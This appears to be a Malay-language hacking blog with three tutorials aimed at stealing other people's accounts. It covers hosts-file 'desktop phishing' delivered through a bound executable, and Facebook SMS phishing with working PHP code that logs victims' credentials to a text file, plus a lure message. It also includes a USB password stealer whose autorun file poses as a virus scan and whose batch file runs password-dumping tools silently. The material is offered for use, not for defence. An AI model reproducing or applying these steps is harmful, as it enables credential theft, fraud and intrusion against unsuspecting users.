Salam..tutorial ini Mr.Hac dedikasikan kepada mereka yang sudah mencuba SMS Phishing..pening kepala?
Ok..tak mengapa sebab dalam tutorial Desktop phishing ini Hac akan beritahu serba sedikit beberapa benda yang ada kena mengena dengan SMS Phishing..ok?

Seni Phishing ini adalah jauh lebih advance berbanding sebelumnya..jadi Hac mengesyorkan anda baca dahulu siri seni phishing dalam blog ini supaya anda tidak ketinggalan point-point yang penting dalam usaha memahami kaedah phishing..

Dalam kaedah Desktop Phishing, seorang penggodam mengubah fail host anda (Windows/System32/drivers/etc/hosts) yang mana fail ini mengawal sesi pelayaran internet anda..

Perbezaan Antara Phishing dan Desktop Phishing:

Phishing:

1. Seseorang penggodam meyakinkan mangsanya untuk mengklik pada pautan yang membawa kepada halaman log masuk palsu (fake login page) yang menyerupai halaman log masuk yang sebenar.

2. Mangsa memasukkan maklumat akaunnya kepada halaman itu dan kesemua maklumat ‘diberikan’ terus kepada penggodam.

3. Mangsa kemudiannya akan dihalakan kepada halaman lain atau halaman log masuk yang asal bergantung kepada skrip yang telah dibuat oleh si penggodam.

Cuma masalah utama dalam seni phishing ini ialah mangsa dengan mudah dapat membezakan pautan halaman palsu dan halaman log masuk yang asli dengan melihat kepada pautan tersebut..

Desktop Phishing:

1. Penggodam menghantar satu fail (.exe) untuk diklik oleh mangsa. Apabila mangsa klik sahaja pada fail tersebut, semuanya selesai!

2. Mangsa menaip pautan kepada halaman log masuk yang asal tetapi dihalakan kepada halaman log masuk palsu tanpa pengetahuannya kerana nama domain pautan tersebut kekal seperti yang asal.

3. Langkah seterusnya sama sahaja seperti seni phishing yang biasa.

Apa Itu Host File?

Host file ialah satu fail teks yang mengandungi nama domain dan alamat IP yang berhubungkait dengannya..Lokasi fail ini terletak di:

notepad %windir%system32driversetchosts (taipkan di Run… dan tekan Enter)

atau anda boleh melihatnya secara normal di windows: C:WindowsSystem32driversetc

Apabila anda menaip sebagai contoh www.anywebsite.com, satu ‘pertanyaan’ akan dihantar kepada Domain Name Server (DNS) untuk mencari alamat IP yang berhubung dengan nama domain atau laman web itu. tetapi sebelum ini dilakukan, fail host yang berada dalam komputer kita akan ‘diperiksa’ untuk mendapatkan alamat IP kepada domain tersebut.

Katakan anda sudah membuat satu entry dalam fail host..contohnya apabila anda menaip www.anywebsite.com, anda akan dibawa kepada alamat IP 115.125.124.50. tiada ‘permintaan’ untuk mendapatkan lagi IP yang berhubung dengan www.anywebsite.com yang akan dihantar kepada DNS..lihat contoh pada gambar dibawah.

Bagaimana Kaedah Penyerangannya?

Sudah jelas rasanya bagaimana keadaan pelayaran internet anda sekiranya fail host ini diubahsuai oleh penggodam..

Apa yang perlu kita lakukan ialah mengubahsuai fail host dengan menambahkan nama domain yang asli/asal serta menghubungkannya kepada alamat IP halaman log masuk palsu yang telah kita buat..apabila mangsa menaip alamat domain yang asli, dia akan dihalakan kepada halaman log masuk yang palsu..sila lihat gambar dibawah.

Kaedah Hacking Melalui Desktop Phishing:

Kini sampailah masa kepada tutorial Desktop Phishing. Ikuti langkah demi langkah yang akan diberikan kepada anda kerana ia ada kaitan dengan SMS Phishing yang Hac telah ajarkan sebelum ini.

1. Host/Kendalikan Laman Phishing Dalam Komputer Anda
Disebabkan laman webhosting yang kerap digunakan oleh penggodam seperti 110mb.com, ripway.com, dan lain-lain lagi tidak menyokong ciri-ciri seperti menghalakan alamat IP kepada laman web anda seperti www.akunakhackkau.110mb.com (alamat IP dihalakan kepada webserver dan bukannya laman web), jadi kita perlu mengendalikan laman phishing yang telah dibuat dalam komputer sendiri dengan menggunakan perisian web server seperti wamp atau xampp..(ada kaitan kan dengan SMS Phishing?)

Seterusnya muat turun salah satu daripada perisian tersebut. katakan anda memilih wamp:

—> Salin fail phishing anda dan letakkannya dalam direktori WWW pada wamp, kedudukannya ialah di “C:WampWWW“

—> Jalankan Server Wamp pada PC anda.

—> Klik kanan di ikon wamp pada system tray dan pilih Start all services, pergi kepada public IP address anda dan anda akan dapat lihat laman phishing anda. (lawati cmyip.com untuk melihat alamat IP anda, dan salin IP itu..paste pada bar carian pelayar anda dan anda akan dapat lihat laman phishing anda itu..ok?)

2. Ubahsuai Fail Host
Sekiranya anda tidak mempunya sebarang akses kepada komputer mangsa, jadi salin fail host anda sendiri dan letakkannya pada desktop (senang nak tengok)
buka ia dengan notepad dan letakkan alamat IP anda dihubungkan bersama dengan nama domain yang anda ingini..

Sebagai contoh, apabila mangsa melawati www.gmail.com, dia akan dibawa kepada laman web yang dihoskan pada alamat IP ‘xxx.xxx.xxx.xxx’.

Gantikannya dengan alamat IP anda (Public IP Address)

3. Compress fail host anda itu tadi dan apabila mangsa membukanya, ia secara automatik akan disalinkan kepada C:Windowssystem32driversetc
—> fail host mangsa akan digantikan dengan fail host yang telah diubahsuai tadi.
Sila ikuti kaedahnya melalui gambar-gambar berikut:

Klik OK..Sekarang anda sudah boleh bind fail ini dengan mana-mana fail exe (.exe) dengan menggunakan binder atau hantarkannya secara terus kepada mangsa. apabila mangsa klik pada fail ini, kerja anda sudah ditanggung beres!

Limitasi Kaedah Phishing Ini:

1. Apabila anda menggunakan public IP, maka ia akan cepat berubah setiap kali anda connect dan disconnect..jadi anda perlu mendapatkan static IP sama ada dengan membelinya atau mendapatkannya di mana-mana sumber..satu perkataan yang sesuai untuk anda —> GOOGLE

2. Pelayar yang digunakan oleh mangsa mungkin akan memberikan amaran bahawa Digital Certificate laman web yang sedang dilawatinya adalah tidak asli.

Views: 1

Seni phishing nampaknya telah banyak berevolusi..dalam blog ini pun Hac telah menulis beberapa kaedah untuk melakukannya dan kebanyakan kaedah menjurus kepada cara untuk menggodam Facebook..

Dalam tutorial kali ini Hac akan memberikan satu cara untuk membuat SMS PHISHING atau Smishing..kaedah ini adalah kombinasi antara SMS dan phishing..
ia bukanlah benda baru tetapi kaedah ini boleh dikatakan masih relevan untuk digunakan kepada mereka yang kurang pengetahuan dalam ilmu IT..jadi mari sama-sama kita terjah tutorial ini!
(Entry ini seperti biasa akan membincangkan kaedah untuk hack Facebook)

p/s: kalau ada kesilapan dalam tutorial ini harap maaf lah yaaa…

‘Perjalanan’ Gerak Kerja Teknik Hacking Ini:

Seperti biasa, phishing jenis ini masih menggunakan ‘fake login page’ atau halaman log masuk palsu..cuma versi ini menggunakan telefon bimbit sebagai medium penyampaian maklumat..si mangsa akan menerima satu sms mengatakan ada versi baru dalam Facebook Mobile dan harus dicuba supaya tidak ketinggalan..

Apa yang diperlukan ialah web server yang dijalankan pada komputer anda dan disambungkan ke internet, serta nombor telefon bimbit sasaran..jangan tanya Mr.Hac bagaimana nak dapatkan web server ataupun perisiannya..
sila —–> GOOGLE..

Kaedah Membuat SMS Phishing a.k.a Smishing:

Pergi ke pautan Facebook Mobile dan salin serta simpan source codenya (klik kanan+View Page Source) pada komputer anda..buka fail tersebut dengan menggunakan notepad dan ubah code ‘form method’ daripada ‘post’ kepada ‘get’..ubah nilai ‘action’ kepada write.php (nak letak nama lain pun boleh!)..namakan fail itu sebagai ‘index.htm’..buat satu lagi fail dengan membuka notepad, salin code berikut dan simpankan ia, namakan sebagai ‘write.php’..

<?php
header(“Location: http://m.facebook.com/login.php?m=m&r811c1f38&refid=9&rdd9db9a5&e=iep&r1129f1e6”);
$handle = fopen(“pswd.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>

atau boleh juga gunakan code ini:

header(“Location: http://m.facebook.com/login.php?m=m&r811c1f38&refid=9&rdd9db9a5&e=iep&r1129f1e6”);$handle = fopen(“pswd.txt”, “a”);
foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, “=”);fwrite($handle, $value);fwrite($handle, “rn”);
}fwrite($handle, “rn”);fclose($handle);
exit;?>

Buat juga satu lagi fail dari notepad dan namakannya sebagai pswd.txt..terus simpan tanpa mengubah apa-apa..

Penghantaran SMS:

Sila gunakan laman web penghantaran SMS percuma yang menghantar dengan menggunakan nombor mereka sendiri dan tidak perlukan pendaftaran (ni panduan supaya senang kerja!)..terdapat banyak laman seperti itu..seperti biasa, jangan tanya..sila GOOGLE..berikut adalah sedikit pratonton SMS yang akan dihantar:

Experience the brand new version of facebook! Faster and secure. Follow the link now:
http://alamat-IP-anda/direktori-anda/
-Facebook development team.

Disarankan supaya anda gunakan proxy sebelum menghantar SMS tersebut..
Sedikit pesanan: berhati-hati apabila menjalankan server..

Ya..tutorial ini memang tidak lengkap..Mr.Hac ada tinggalkan satu lagi gerak kerja yang perlu anda cari sendiri iaitu cara untuk memuat naik fail-fail diatas ke dalam web server..sengaja Hac buat begitu supaya anda tahu nilai ilmu yang Hac sampaikan di sini..sekiranya ada kekeliruan, ada permasalahan (troubleshooting), atau ada kepala-kepala yang sakit akibat memikirkan caranya, maka carilah perlahan-lahan dan anda pasti akan jumpa jawapannya!

Views: 2

Salam..Mr.Hac direct to the point je la ya..takde masa nak intro-intro ni..

Muat turun kesemua 5 tools di bawah:

MessenPass – mendapatkan kata laluan dari program Instant Messenger seperti MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger disertakan bersama Netscape 7, Trillian, Miranda, dan GAIM.

Mail PassView – mendapatkan kata laluan dari program e-mel berikut : Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Ia juga boleh mendapatkan kata laluan dari e-mel berasaskan laman web seperti Yahoomail, Gmail, Hotmail dan lain-lain..

IE Passview – mendapatkan kata laluan yang disimpan oleh Internet Explorer.

Protected Storage PassView – mendapatkan kata laluan dari Protected Storage termasuk AutoComplete dari Internet Explorer, MSN Explorer dan lain-lain.

Passwordfox – mendapatkan kata laluan dari pelayar Mozilla Firefox.

P/S: sila matikan antivirus terlebih dahulu.

1. Muat turun kesemua 5 tools diatas. Salin hanya fail executables sahaja ( fail.exe) ke dalam pendrive anda.

Contoh: Salin mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe

2. Buka notepad dan salin code berikut ke dalamnya:

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

Simpan fail notepad tadi sebagai autorun.inf (pastikan extension .txt ditukarkan kepada .inf)

Simpankan fail ini ke dalam pendrive anda.

3. Buka notepad sekali lagi dan salin code berikut ke dalamnya:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Simpan fail notepad ini sebagai launch.bat (pastikan extension .txt ditukarkan kepada .bat)

Simpankan juga fail ini ke dalam pendrive anda.

Sekarang tools ini sudah bersedia untuk berfungsi. ikuti langkah-langkah dibawah:

1. Masukkan pendrive anda ke dalam USB port komputer sasaran anda. satu tetingkap autorun akan keluar.

2. Pada tetingkap tersebut, pilih kepada pilihan pertama – Perform a Virus Scan

3. Sekarang kesemua tools tadi akan ‘bekerja di sebalik tabir’..kesemua kata laluan akan tersimpan dalam fail .txt

4. Cabut kembali pendrive anda dan anda akan dapat lihat kata laluan yang tersimpan dalam fail .txt

5. Teknik ini hanya boleh mendapatkan kata laluan yang tersimpan dalam komputer.

Views: 2